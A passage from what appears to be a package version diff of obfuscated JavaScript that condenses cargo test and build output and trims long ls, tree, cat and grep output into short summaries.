_0xe33de6=-parseInt(_0x58d1ab(0x1ba))/0x1+parseInt(_0x58d1ab(0x1cf))/0x2*(parseInt(_0x58d1ab(0x1b3))/0x3)+-parseInt(_0x58d1ab(0x1af))/0x4*(-parseInt(_0x58d1ab(0x1c6))/0x5)+-parseInt(_0x58d1ab(0x1c9))/0x6*(-parseInt(_0x58d1ab(0x1bd))/0x7)+-parseInt(_0x58d1ab(0x1c8))/0x8+parseInt(_0x58d1ab(0x1c1))/0x9*(parseInt(_0x58d1ab(0x1ce))/0xa)+-parseInt(_0x58d1ab(0x1d8))/0xb*(-parseInt(_0x58d1ab(0x1ae))/0xc);if(_0xe33de6===_0x5d674a)break;else _0x455b6b['push'](_0x455b6b['shift']());}catch(_0x1e6608){_0x455b6b['push'](_0x455b6b['shift']());}}}(a0_0x2ae6,0xc2bee));function a0_0x2ae6(){const _0x36a2ff=['3FVBMji','startsWith','\x20warnings','\x20failed,\x20','----\x20failures\x20----','Cargo\x20test:\x20all\x20tests\x20passed','slice','262391UHsLAs','test\x20result:\x20ok','match','161uMJNkN','endsWith','includes','split','10107VurqUa','\x20crates\x20successfully','min','defineProperty','assert','225OEkIxT','right:','7008848EYdyYx','98526HWEeak','filterCargoTest','failures:','\x20\x20...\x20+','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','2750hCgNuT','669980NjWpNR','__esModule','\x0aWarnings:','error:','push','Cargo:\x20compiled\x20','Cargo\x20test:\x20','\x20errors,\x20','Compiling\x20','11pCBAzV','\x20passed,\x20','join','----\x20','\x20more\x20errors','trim','replace','filterCargoBuild','test\x20result:','\x20passed','\x20crates,\x20','\x20ignored','1809624aPEvNR','67900JjQTTx','length','warning[','\x20----'];a0_0x2ae6=function(){return _0x36a2ff;};return a0_0x2ae6();}Object[a0_0x4873f9(0x1c4)](exports,a0_0x4873f9(0x1d0),{'value':!![]}),exports[a0_0x4873f9(0x1ca)]=filterCargoTest,exports[a0_0x4873f9(0x1a9)]=filterCargoBuild;function filterCargoTest(_0x3dc59e){const _0x37a809=a0_0x4873f9,_0x9b4a23=_0x3dc59e[_0x37a809(0x1c0)]('\x0a');let _0x16acd9=0x0,_0x167e54=0x0,_0x37251f=0x0,_0x1e6261=0x0;const _0x3b2aaa=[];let _0x2e74df=![],_0x22b551=[];for(const _0x577660 of _0x9b4a23){const _0x3f8c21=_0x577660['trim'](),_0x42098f=_0x3f8c21[_0x37a809(0x1bc)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x42098f){_0x16acd9+=parseInt(_0x42098f[0x2]),_0x167e54+=parseInt(_0x42098f[0x3]),_0x37251f+=parseInt(_0x42098f[0x4]),_0x1e6261+=parseInt(_0x42098f[0x5]);continue;}if(_0x3f8c21===_0x37a809(0x1cb)||_0x3f8c21===_0x37a809(0x1b7)){_0x2e74df=!![];continue;}if(_0x2e74df){if(_0x3f8c21[_0x37a809(0x1b4)](_0x37a809(0x1a5))&&_0x3f8c21[_0x37a809(0x1be)](_0x37a809(0x1b2))){if(_0x22b551[_0x37a809(0x1b0)]>0x0)_0x3b2aaa[_0x37a809(0x1d3)](_0x22b551[_0x37a809(0x1a4)]('\x0a'));_0x22b551=[_0x3f8c21[_0x37a809(0x1a8)](/^-+\s*/,'')[_0x37a809(0x1a8)](/\s*-+$/,'')];}else{if(_0x3f8c21===_0x37a809(0x1cb)||_0x3f8c21[_0x37a809(0x1b4)](_0x37a809(0x1aa))){if(_0x22b551[_0x37a809(0x1b0)]>0x0)_0x3b2aaa[_0x37a809(0x1d3)](_0x22b551[_0x37a809(0x1a4)]('\x0a'));_0x22b551=[],_0x2e74df=![];}else _0x3f8c21[_0x37a809(0x1b0)]>0x0&&_0x22b551[_0x37a809(0x1d3)](_0x577660);}}}if(_0x22b551['length']>0x0)_0x3b2aaa[_0x37a809(0x1d3)](_0x22b551['join']('\x0a'));if(_0x16acd9===0x0&&_0x167e54===0x0&&_0x37251f===0x0){if(_0x3dc59e[_0x37a809(0x1bf)](_0x37a809(0x1bb)))return _0x37a809(0x1b8);return _0x3dc59e;}if(_0x167e54===0x0){const _0x30a516=['Cargo\x20test:\x20'+_0x16acd9+_0x37a809(0x1ab)];if(_0x37251f>0x0)_0x30a516[_0x37a809(0x1d3)](_0x37251f+_0x37a809(0x1ad));return _0x30a516[_0x37a809(0x1a4)](',\x20');}const _0x19abdf=[_0x37a809(0x1d5)+_0x16acd9+_0x37a809(0x1d9)+_0x167e54+_0x37a809(0x1b6)+_0x37251f+'\x20ignored'];if(_0x3b2aaa['length']>0x0){_0x19abdf[_0x37a809(0x1d3)]('\x0aFailures:');const _0x26993d=0x3;for(let _0x4716ec=0x0;_0x4716ec<Math[_0x37a809(0x1c3)](_0x3b2aaa[_0x37a809(0x1b0)],_0x26993d);_0x4716ec++){const _0x310a7d=_0x3b2aaa[_0x4716ec][_0x37a809(0x1c0)]('\x0a');_0x19abdf[_0x37a809(0x1d3)]('\x20\x20'+(_0x4716ec+0x1)+'.\x20'+_0x310a7d[0x0]);const _0xcaa3cf=_0x310a7d['slice'](0x1),_0x1c31b4=_0xcaa3cf['filter'](_0x4cf320=>_0x4cf320[_0x37a809(0x1a7)]()['startsWith']('thread')||_0x4cf320[_0x37a809(0x1bf)]('panicked')||_0x4cf320[_0x37a809(0x1bf)](_0x37a809(0x1c5))||_0x4cf320[_0x37a809(0x1bf)]('left:')||_0x4cf320[_0x37a809(0x1bf)](_0x37a809(0x1c7)));for(const _0x4e70fc of _0x1c31b4['slice'](0x0,0x5)){_0x19abdf[_0x37a809(0x1d3)]('\x20\x20\x20\x20'+_0x4e70fc[_0x37a809(0x1a7)]());}}_0x3b2aaa[_0x37a809(0x1b0)]>_0x26993d&&_0x19abdf['push'](_0x37a809(0x1cc)+(_0x3b2aaa['length']-_0x26993d)+'\x20more\x20failures');}return _0x19abdf['join']('\x0a');}function filterCargoBuild(_0x2ff629){const _0x54746a=a0_0x4873f9,_0x40b855=_0x2ff629[_0x54746a(0x1c0)]('\x0a'),_0x41c838=[],_0x15efc5=[];let _0x29bbdf=0x0;for(const _0x12b778 of _0x40b855){const _0x3eee1a=_0x12b778[_0x54746a(0x1a7)]();if(_0x3eee1a[_0x54746a(0x1b4)](_0x54746a(0x1d7)))_0x29bbdf++;else{if(_0x3eee1a[_0x54746a(0x1b4)](_0x54746a(0x1b1))||_0x3eee1a[_0x54746a(0x1b4)]('warning:'))_0x41c838[_0x54746a(0x1d3)](_0x3eee1a);else{if(_0x3eee1a[_0x54746a(0x1b4)]('error[')||_0x3eee1a[_0x54746a(0x1b4)](_0x54746a(0x1d2)))_0x15efc5[_0x54746a(0x1d3)](_0x3eee1a);}}}if(_0x15efc5[_0x54746a(0x1b0)]===0x0&&_0x41c838[_0x54746a(0x1b0)]===0x0)return _0x29bbdf>0x0?_0x54746a(0x1d4)+_0x29bbdf+_0x54746a(0x1c2):_0x2ff629[_0x54746a(0x1a7)]();const _0x44c97c=[];if(_0x15efc5[_0x54746a(0x1b0)]>0x0){_0x44c97c[_0x54746a(0x1d3)]('Cargo:\x20'+_0x15efc5[_0x54746a(0x1b0)]+_0x54746a(0x1d6)+_0x41c838[_0x54746a(0x1b0)]+_0x54746a(0x1b5)),_0x44c97c[_0x54746a(0x1d3)]('\x0aErrors:');for(const _0x2fc013 of _0x15efc5[_0x54746a(0x1b9)](0x0,0x5))_0x44c97c['push']('\x20\x20'+_0x2fc013);if(_0x15efc5[_0x54746a(0x1b0)]>0x5)_0x44c97c[_0x54746a(0x1d3)](_0x54746a(0x1cc)+(_0x15efc5[_0x54746a(0x1b0)]-0x5)+_0x54746a(0x1a6));}else _0x44c97c[_0x54746a(0x1d3)]('Cargo:\x20compiled\x20'+_0x29bbdf+_0x54746a(0x1ac)+_0x41c838[_0x54746a(0x1b0)]+_0x54746a(0x1b5));if(_0x41c838[_0x54746a(0x1b0)]>0x0&&_0x41c838[_0x54746a(0x1b0)]<=0x5){_0x44c97c['push'](_0x54746a(0x1d1));for(const _0x3d5a9d of _0x41c838)_0x44c97c['push']('\x20\x20'+_0x3d5a9d);}else _0x41c838[_0x54746a(0x1b0)]>0x5&&_0x44c97c[_0x54746a(0x1d3)]('\x0a('+_0x41c838['length']+_0x54746a(0x1cd));return _0x44c97c['join']('\x0a');}
1
+ 'use strict';const a0_0x487b41=a0_0x4b56;(function(_0x40c8b4,_0x57af4a){const _0x684fd1=a0_0x4b56,_0x48b408=_0x40c8b4();while(!![]){try{const _0x151d8f=parseInt(_0x684fd1(0x95))/0x1*(parseInt(_0x684fd1(0x98))/0x2)+parseInt(_0x684fd1(0x93))/0x3+parseInt(_0x684fd1(0x9d))/0x4*(-parseInt(_0x684fd1(0x91))/0x5)+parseInt(_0x684fd1(0x87))/0x6+-parseInt(_0x684fd1(0xa0))/0x7*(parseInt(_0x684fd1(0xbb))/0x8)+parseInt(_0x684fd1(0xab))/0x9*(parseInt(_0x684fd1(0x9c))/0xa)+-parseInt(_0x684fd1(0xa6))/0xb;if(_0x151d8f===_0x57af4a)break;else _0x48b408['push'](_0x48b408['shift']());}catch(_0x237bb6){_0x48b408['push'](_0x48b408['shift']());}}}(a0_0x1f17,0xa73f8));Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x487b41(0x8d)]=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function a0_0x4b56(_0x5bdc6c,_0x33e874){_0x5bdc6c=_0x5bdc6c-0x85;const _0x1f1776=a0_0x1f17();let _0x4b566f=_0x1f1776[_0x5bdc6c];return _0x4b566f;}function filterCargoTest(_0x331790){const _0x528117=a0_0x487b41,_0x589c56=_0x331790[_0x528117(0xaf)]('\x0a');let _0x26b407=0x0,_0x36f2bb=0x0,_0x54e87f=0x0,_0x402967=0x0;const _0x50a38d=[];let _0xc9d84=![],_0x4f5902=[];for(const _0x44aaad of _0x589c56){const _0x47114d=_0x44aaad[_0x528117(0x97)](),_0x357bb2=_0x47114d[_0x528117(0xb0)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x357bb2){_0x26b407+=parseInt(_0x357bb2[0x2]),_0x36f2bb+=parseInt(_0x357bb2[0x3]),_0x54e87f+=parseInt(_0x357bb2[0x4]),_0x402967+=parseInt(_0x357bb2[0x5]);continue;}if(_0x47114d===_0x528117(0xb9)||_0x47114d===_0x528117(0xba)){_0xc9d84=!![];continue;}if(_0xc9d84){if(_0x47114d['startsWith'](_0x528117(0x88))&&_0x47114d['endsWith'](_0x528117(0xb5))){if(_0x4f5902[_0x528117(0x89)]>0x0)_0x50a38d[_0x528117(0xb6)](_0x4f5902['join']('\x0a'));_0x4f5902=[_0x47114d[_0x528117(0x9b)](/^-+\s*/,'')[_0x528117(0x9b)](/\s*-+$/,'')];}else{if(_0x47114d===_0x528117(0xb9)||_0x47114d[_0x528117(0xa3)](_0x528117(0x9a))){if(_0x4f5902[_0x528117(0x89)]>0x0)_0x50a38d[_0x528117(0xb6)](_0x4f5902[_0x528117(0xa8)]('\x0a'));_0x4f5902=[],_0xc9d84=![];}else _0x47114d['length']>0x0&&_0x4f5902[_0x528117(0xb6)](_0x44aaad);}}}if(_0x4f5902[_0x528117(0x89)]>0x0)_0x50a38d[_0x528117(0xb6)](_0x4f5902[_0x528117(0xa8)]('\x0a'));if(_0x26b407===0x0&&_0x36f2bb===0x0&&_0x54e87f===0x0){if(_0x331790[_0x528117(0xb8)](_0x528117(0xa2)))return'Cargo\x20test:\x20all\x20tests\x20passed';return _0x331790;}if(_0x36f2bb===0x0){const _0x3c0767=['Cargo\x20test:\x20'+_0x26b407+_0x528117(0xad)];if(_0x54e87f>0x0)_0x3c0767[_0x528117(0xb6)](_0x54e87f+'\x20ignored');return _0x3c0767[_0x528117(0xa8)](',\x20');}const _0x30c245=[_0x528117(0x8f)+_0x26b407+_0x528117(0xa5)+_0x36f2bb+_0x528117(0x8a)+_0x54e87f+_0x528117(0xac)];if(_0x50a38d[_0x528117(0x89)]>0x0){_0x30c245['push'](_0x528117(0x8b));const _0x48cdbe=0x3;for(let _0x464c4b=0x0;_0x464c4b<Math[_0x528117(0xb1)](_0x50a38d[_0x528117(0x89)],_0x48cdbe);_0x464c4b++){const _0x39aa65=_0x50a38d[_0x464c4b][_0x528117(0xaf)]('\x0a');_0x30c245['push']('\x20\x20'+(_0x464c4b+0x1)+'.\x20'+_0x39aa65[0x0]);const _0x1752cc=_0x39aa65['slice'](0x1),_0x4d2ccd=_0x1752cc[_0x528117(0xb7)](_0x352e99=>_0x352e99['trim']()['startsWith'](_0x528117(0x8e))||_0x352e99['includes'](_0x528117(0xb3))||_0x352e99[_0x528117(0xb8)](_0x528117(0x8c))||_0x352e99[_0x528117(0xb8)](_0x528117(0x86))||_0x352e99[_0x528117(0xb8)](_0x528117(0x94)));for(const _0x5073f3 of _0x4d2ccd[_0x528117(0x96)](0x0,0x5)){_0x30c245[_0x528117(0xb6)](_0x528117(0x85)+_0x5073f3['trim']());}}_0x50a38d[_0x528117(0x89)]>_0x48cdbe&&_0x30c245['push']('\x20\x20...\x20+'+(_0x50a38d[_0x528117(0x89)]-_0x48cdbe)+_0x528117(0xb2));}return _0x30c245[_0x528117(0xa8)]('\x0a');}function filterCargoBuild(_0xab9e08){const _0x398c5f=a0_0x487b41,_0xb8e0c1=_0xab9e08[_0x398c5f(0xaf)]('\x0a'),_0x494f8e=[],_0x2bc547=[];let _0x2d7ca2=0x0;for(const _0x52ee87 of _0xb8e0c1){const _0x42afa3=_0x52ee87['trim']();if(_0x42afa3[_0x398c5f(0xa3)](_0x398c5f(0xb4)))_0x2d7ca2++;else{if(_0x42afa3[_0x398c5f(0xa3)](_0x398c5f(0x9f))||_0x42afa3[_0x398c5f(0xa3)]('warning:'))_0x494f8e[_0x398c5f(0xb6)](_0x42afa3);else{if(_0x42afa3[_0x398c5f(0xa3)](_0x398c5f(0xa7))||_0x42afa3[_0x398c5f(0xa3)](_0x398c5f(0x9e)))_0x2bc547['push'](_0x42afa3);}}}if(_0x2bc547['length']===0x0&&_0x494f8e['length']===0x0)return _0x2d7ca2>0x0?_0x398c5f(0xa4)+_0x2d7ca2+_0x398c5f(0xa1):_0xab9e08[_0x398c5f(0x97)]();const _0x1dbd65=[];if(_0x2bc547[_0x398c5f(0x89)]>0x0){_0x1dbd65[_0x398c5f(0xb6)](_0x398c5f(0xa9)+_0x2bc547[_0x398c5f(0x89)]+'\x20errors,\x20'+_0x494f8e[_0x398c5f(0x89)]+'\x20warnings'),_0x1dbd65[_0x398c5f(0xb6)](_0x398c5f(0x92));for(const _0x8c3d3e of _0x2bc547[_0x398c5f(0x96)](0x0,0x5))_0x1dbd65[_0x398c5f(0xb6)]('\x20\x20'+_0x8c3d3e);if(_0x2bc547[_0x398c5f(0x89)]>0x5)_0x1dbd65['push']('\x20\x20...\x20+'+(_0x2bc547[_0x398c5f(0x89)]-0x5)+_0x398c5f(0xaa));}else _0x1dbd65['push'](_0x398c5f(0xa4)+_0x2d7ca2+_0x398c5f(0xae)+_0x494f8e['length']+_0x398c5f(0x99));if(_0x494f8e['length']>0x0&&_0x494f8e[_0x398c5f(0x89)]<=0x5){_0x1dbd65[_0x398c5f(0xb6)]('\x0aWarnings:');for(const _0x3bafa0 of _0x494f8e)_0x1dbd65['push']('\x20\x20'+_0x3bafa0);}else _0x494f8e[_0x398c5f(0x89)]>0x5&&_0x1dbd65['push']('\x0a('+_0x494f8e[_0x398c5f(0x89)]+_0x398c5f(0x90));return _0x1dbd65[_0x398c5f(0xa8)]('\x0a');}function a0_0x1f17(){const _0x2f73a0=['filter','includes','failures:','----\x20failures\x20----','5048AnijiR','\x20\x20\x20\x20','left:','470448bAsNYP','----\x20','length','\x20failed,\x20','\x0aFailures:','assert','filterCargoTest','thread','Cargo\x20test:\x20','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','10955nOLkfs','\x0aErrors:','2615109tdDsiM','right:','35Aeghum','slice','trim','4622LKuJxQ','\x20warnings','test\x20result:','replace','7988990virUZL','340xBFMvV','error:','warning[','8911PuLjzn','\x20crates\x20successfully','test\x20result:\x20ok','startsWith','Cargo:\x20compiled\x20','\x20passed,\x20','1708839HpgOPt','error[','join','Cargo:\x20','\x20more\x20errors','9MoyaWT','\x20ignored','\x20passed','\x20crates,\x20','split','match','min','\x20more\x20failures','panicked','Compiling\x20','\x20----','push'];a0_0x1f17=function(){return _0x2f73a0;};return a0_0x1f17();}
package/filters/shell.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x3c4f3e=a0_0x1f03;(function(_0x5e9f84,_0x3e130f){const _0x3169e0=a0_0x1f03,_0x41203e=_0x5e9f84();while(!![]){try{const _0x4e6e8c=parseInt(_0x3169e0(0x1f4))/0x1+-parseInt(_0x3169e0(0x207))/0x2*(-parseInt(_0x3169e0(0x208))/0x3)+-parseInt(_0x3169e0(0x1f2))/0x4*(-parseInt(_0x3169e0(0x1e9))/0x5)+-parseInt(_0x3169e0(0x1fe))/0x6*(-parseInt(_0x3169e0(0x1e1))/0x7)+-parseInt(_0x3169e0(0x204))/0x8+parseInt(_0x3169e0(0x1e5))/0x9+parseInt(_0x3169e0(0x1ee))/0xa*(-parseInt(_0x3169e0(0x20b))/0xb);if(_0x4e6e8c===_0x3e130f)break;else _0x41203e['push'](_0x41203e['shift']());}catch(_0x3805da){_0x41203e['push'](_0x41203e['shift']());}}}(a0_0x1649,0x7adf9));Object[a0_0x3c4f3e(0x1ea)](exports,a0_0x3c4f3e(0x1ec),{'value':!![]}),exports[a0_0x3c4f3e(0x206)]=filterLs,exports[a0_0x3c4f3e(0x202)]=filterTree,exports[a0_0x3c4f3e(0x1f0)]=filterCat,exports[a0_0x3c4f3e(0x1eb)]=filterGrep;function a0_0x1649(){const _0x58d1dd=['\x20matches\x20in\x20this\x20file)','\x20more\x20directories','push','8334891oXYcnm','\x20lines\x20truncated]\x20...\x0a','\x20matches\x20across\x20','\x20more\x20files','20EQNZcK','defineProperty','filterGrep','__esModule','trim','15243670bwJNEa','slice','filterCat','Empty\x20directory','956392XLVtOu','keys','473267GkOFQu','\x20directories,\x20','match','\x20more\x20files\x20with\x20matches','total\x20','length','endsWith','includes','\x0a...\x20[','\x20more\x20matches','25698fsDDQO','split','startsWith','\x20files)','filterTree','indexOf','5930240eecKOJ','join','filterLs','11300Cmapxy','183cbULyE','substring','filter','11ojpfBq','...\x20+','\x0a...\x20(','112NFxYhZ'];a0_0x1649=function(){return _0x58d1dd;};return a0_0x1649();}function a0_0x1f03(_0x3b8968,_0x165712){const _0x16498f=a0_0x1649();return a0_0x1f03=function(_0x1f03be,_0x2e882d){_0x1f03be=_0x1f03be-0x1df;let _0x34a6ab=_0x16498f[_0x1f03be];return _0x34a6ab;},a0_0x1f03(_0x3b8968,_0x165712);}function filterLs(_0x2d7ed6){const _0x3f022d=a0_0x3c4f3e,_0x2d9b60=_0x2d7ed6['split']('\x0a')[_0x3f022d(0x20a)](_0x5589da=>_0x5589da['trim']()[_0x3f022d(0x1f9)]>0x0);if(_0x2d9b60[_0x3f022d(0x1f9)]===0x0)return _0x3f022d(0x1f1);if(_0x2d9b60[_0x3f022d(0x1f9)]<=0x1e)return _0x2d7ed6[_0x3f022d(0x1ed)]();const _0x27c1e5=[],_0x4cd7e7=[];for(const _0x5251d1 of _0x2d9b60){const _0x29de68=_0x5251d1[_0x3f022d(0x1ed)]();if(_0x29de68[_0x3f022d(0x200)](_0x3f022d(0x1f8))||_0x29de68[_0x3f022d(0x200)]('d')&&_0x29de68[_0x3f022d(0x1fb)]('..'))continue;_0x29de68[_0x3f022d(0x1fa)]('/')||_0x29de68['startsWith']('d')&&_0x29de68[_0x3f022d(0x1fb)]('\x20')?_0x27c1e5[_0x3f022d(0x1e4)](_0x29de68):_0x4cd7e7[_0x3f022d(0x1e4)](_0x29de68);}const _0x1a9fd0=[];return _0x27c1e5['length']>0x0&&(_0x27c1e5[_0x3f022d(0x1f9)]<=0xf?_0x1a9fd0[_0x3f022d(0x1e4)](..._0x27c1e5):(_0x1a9fd0[_0x3f022d(0x1e4)](..._0x27c1e5[_0x3f022d(0x1ef)](0x0,0xa)),_0x1a9fd0[_0x3f022d(0x1e4)](_0x3f022d(0x1df)+(_0x27c1e5['length']-0xa)+_0x3f022d(0x1e3)))),_0x4cd7e7[_0x3f022d(0x1f9)]>0x0&&(_0x4cd7e7[_0x3f022d(0x1f9)]<=0x14?_0x1a9fd0[_0x3f022d(0x1e4)](..._0x4cd7e7):(_0x1a9fd0['push'](..._0x4cd7e7[_0x3f022d(0x1ef)](0x0,0xf)),_0x1a9fd0[_0x3f022d(0x1e4)](_0x3f022d(0x1df)+(_0x4cd7e7[_0x3f022d(0x1f9)]-0xf)+_0x3f022d(0x1e8)))),_0x1a9fd0['push']('\x0a('+_0x27c1e5[_0x3f022d(0x1f9)]+_0x3f022d(0x1f5)+_0x4cd7e7['length']+_0x3f022d(0x201)),_0x1a9fd0[_0x3f022d(0x205)]('\x0a');}function filterTree(_0x11d26e){const _0x12381c=a0_0x3c4f3e,_0x3a091a=_0x11d26e['split']('\x0a');if(_0x3a091a['length']<=0x32)return _0x11d26e[_0x12381c(0x1ed)]();const _0x2ee270=[];let _0x55face=0x0,_0xe76f51=0x0,_0x53f8ca=0x0;for(const _0x4980ea of _0x3a091a){const _0x975291=_0x4980ea[_0x12381c(0x1f6)](/(\d+)\s+director/),_0x2e4cab=_0x4980ea[_0x12381c(0x1f6)](/(\d+)\s+file/);if(_0x975291)_0x53f8ca=parseInt(_0x975291[0x1]);if(_0x2e4cab)_0xe76f51=parseInt(_0x2e4cab[0x1]);const _0x5e9476=(_0x4980ea[_0x12381c(0x1f6)](/^[│├└\s─]+/)||[''])[0x0]['length'];_0x5e9476<=0x4&&(_0x2ee270[_0x12381c(0x1e4)](_0x4980ea),_0x55face++);}return _0x3a091a[_0x12381c(0x1f9)]>_0x2ee270[_0x12381c(0x1f9)]&&_0x2ee270[_0x12381c(0x1e4)](_0x12381c(0x1e0)+_0x53f8ca+_0x12381c(0x1f5)+_0xe76f51+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x2ee270[_0x12381c(0x205)]('\x0a');}function filterCat(_0x209ed6){const _0x545cc=a0_0x3c4f3e,_0x438776=_0x209ed6[_0x545cc(0x1ff)]('\x0a');if(_0x438776[_0x545cc(0x1f9)]<=0x64)return _0x209ed6;const _0x44f019=[];return _0x44f019[_0x545cc(0x1e4)](..._0x438776[_0x545cc(0x1ef)](0x0,0x32)),_0x44f019[_0x545cc(0x1e4)](_0x545cc(0x1fc)+(_0x438776[_0x545cc(0x1f9)]-0x50)+_0x545cc(0x1e6)),_0x44f019[_0x545cc(0x1e4)](..._0x438776['slice'](-0x1e)),_0x44f019[_0x545cc(0x1e4)]('\x0a('+_0x438776[_0x545cc(0x1f9)]+'\x20lines\x20total)'),_0x44f019['join']('\x0a');}function filterGrep(_0x2fb1a6){const _0x14b206=a0_0x3c4f3e,_0x3dc76b=_0x2fb1a6[_0x14b206(0x1ff)]('\x0a')[_0x14b206(0x20a)](_0x52ed3c=>_0x52ed3c[_0x14b206(0x1ed)]()[_0x14b206(0x1f9)]>0x0);if(_0x3dc76b[_0x14b206(0x1f9)]===0x0)return'No\x20matches\x20found';if(_0x3dc76b['length']<=0x32)return _0x2fb1a6[_0x14b206(0x1ed)]();const _0x551496={},_0x1af35c=[];for(const _0x2f3021 of _0x3dc76b){const _0x2234dd=_0x2f3021[_0x14b206(0x203)](':');if(_0x2234dd>0x0&&_0x2234dd<0xc8){const _0x406953=_0x2f3021[_0x14b206(0x209)](0x0,_0x2234dd);if(_0x406953[_0x14b206(0x1fb)]('/')||_0x406953[_0x14b206(0x1fb)]('\x5c')||_0x406953[_0x14b206(0x1fb)]('.')){if(!_0x551496[_0x406953])_0x551496[_0x406953]=[];_0x551496[_0x406953][_0x14b206(0x1e4)](_0x2f3021['substring'](_0x2234dd+0x1)[_0x14b206(0x1ed)]());continue;}}_0x1af35c[_0x14b206(0x1e4)](_0x2f3021);}const _0x588976=[],_0x3a1473=Object[_0x14b206(0x1f3)](_0x551496);if(_0x3a1473[_0x14b206(0x1f9)]>0x0){const _0x12a303=0x14,_0x4383b4=_0x3a1473[_0x14b206(0x1ef)](0x0,_0x12a303);for(const _0x2f523f of _0x4383b4){const _0xff2e30=_0x551496[_0x2f523f];if(_0xff2e30['length']<=0x3)for(const _0x5779af of _0xff2e30){_0x588976[_0x14b206(0x1e4)](_0x2f523f+':\x20'+_0x5779af);}else _0x588976[_0x14b206(0x1e4)](_0x2f523f+':\x20'+_0xff2e30[0x0]),_0x588976[_0x14b206(0x1e4)](_0x2f523f+':\x20...\x20('+_0xff2e30['length']+_0x14b206(0x1e2));}_0x3a1473[_0x14b206(0x1f9)]>_0x12a303&&_0x588976['push'](_0x14b206(0x1df)+(_0x3a1473[_0x14b206(0x1f9)]-_0x12a303)+_0x14b206(0x1f7));}if(_0x1af35c[_0x14b206(0x1f9)]>0x0){const _0xdcd030=0x1e;_0x588976['push'](..._0x1af35c[_0x14b206(0x1ef)](0x0,_0xdcd030)),_0x1af35c[_0x14b206(0x1f9)]>_0xdcd030&&_0x588976[_0x14b206(0x1e4)](_0x14b206(0x1df)+(_0x1af35c['length']-_0xdcd030)+_0x14b206(0x1fd));}const _0xbfd2c0=_0x3dc76b['length'];return _0x588976[_0x14b206(0x1e4)]('\x0a('+_0xbfd2c0+_0x14b206(0x1e7)+(_0x3a1473[_0x14b206(0x1f9)]||'?')+_0x14b206(0x201)),_0x588976[_0x14b206(0x205)]('\x0a');}
1
+ 'use strict';const a0_0x3f1de9=a0_0xfc9e;(function(_0xe38a91,_0x5e07d6){const _0x398555=a0_0xfc9e,_0x11a661=_0xe38a91();while(!![]){try{const _0x31d7a4=parseInt(_0x398555(0xa8))/0x1+parseInt(_0x398555(0xc1))/0x2+parseInt(_0x398555(0xa4))/0x3+parseInt(_0x398555(0xba))/0x4+-parseInt(_0x398555(0xaa))/0x5+parseInt(_0x398555(0xb6))/0x6*(-parseInt(_0x398555(0xa3))/0x7)+-parseInt(_0x398555(0xa5))/0x8;if(_0x31d7a4===_0x5e07d6)break;else _0x11a661['push'](_0x11a661['shift']());}catch(_0x34b1f1){_0x11a661['push'](_0x11a661['shift']());}}}(a0_0x47c8,0xda909));function a0_0x47c8(){const _0x354c20=['\x20directories,\x20','includes','substring','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','filterGrep','3743538ctxmJy','filter','filterTree','__esModule','5119924KLBCLy','No\x20matches\x20found','trim','...\x20+','\x20matches\x20across\x20','\x0a...\x20(','join','2061106HpdpwF','length','keys','match','startsWith','slice','filterLs','7MfypqK','2832771uhEOht','16179352DUqNFy','\x20more\x20files\x20with\x20matches','\x20lines\x20truncated]\x20...\x0a','288235eTGWBh','total\x20','7215WicvRk','\x20more\x20directories','indexOf','push','\x20matches\x20in\x20this\x20file)','\x20files)','\x0a...\x20['];a0_0x47c8=function(){return _0x354c20;};return a0_0x47c8();}Object['defineProperty'](exports,a0_0x3f1de9(0xb9),{'value':!![]}),exports[a0_0x3f1de9(0xc7)]=filterLs,exports[a0_0x3f1de9(0xb8)]=filterTree,exports['filterCat']=filterCat,exports[a0_0x3f1de9(0xb5)]=filterGrep;function a0_0xfc9e(_0x5b386f,_0x11950f){_0x5b386f=_0x5b386f-0xa3;const _0x47c814=a0_0x47c8();let _0xfc9e17=_0x47c814[_0x5b386f];return _0xfc9e17;}function filterLs(_0x40bb6e){const _0x4ffde7=a0_0x3f1de9,_0x1feb2b=_0x40bb6e['split']('\x0a')[_0x4ffde7(0xb7)](_0x16a703=>_0x16a703[_0x4ffde7(0xbc)]()[_0x4ffde7(0xc2)]>0x0);if(_0x1feb2b[_0x4ffde7(0xc2)]===0x0)return'Empty\x20directory';if(_0x1feb2b['length']<=0x1e)return _0x40bb6e[_0x4ffde7(0xbc)]();const _0x3e59ee=[],_0x2feea9=[];for(const _0x1c4eb4 of _0x1feb2b){const _0x3afd08=_0x1c4eb4[_0x4ffde7(0xbc)]();if(_0x3afd08[_0x4ffde7(0xc5)](_0x4ffde7(0xa9))||_0x3afd08[_0x4ffde7(0xc5)]('d')&&_0x3afd08[_0x4ffde7(0xb2)]('..'))continue;_0x3afd08['endsWith']('/')||_0x3afd08[_0x4ffde7(0xc5)]('d')&&_0x3afd08[_0x4ffde7(0xb2)]('\x20')?_0x3e59ee[_0x4ffde7(0xad)](_0x3afd08):_0x2feea9[_0x4ffde7(0xad)](_0x3afd08);}const _0x3c13a7=[];return 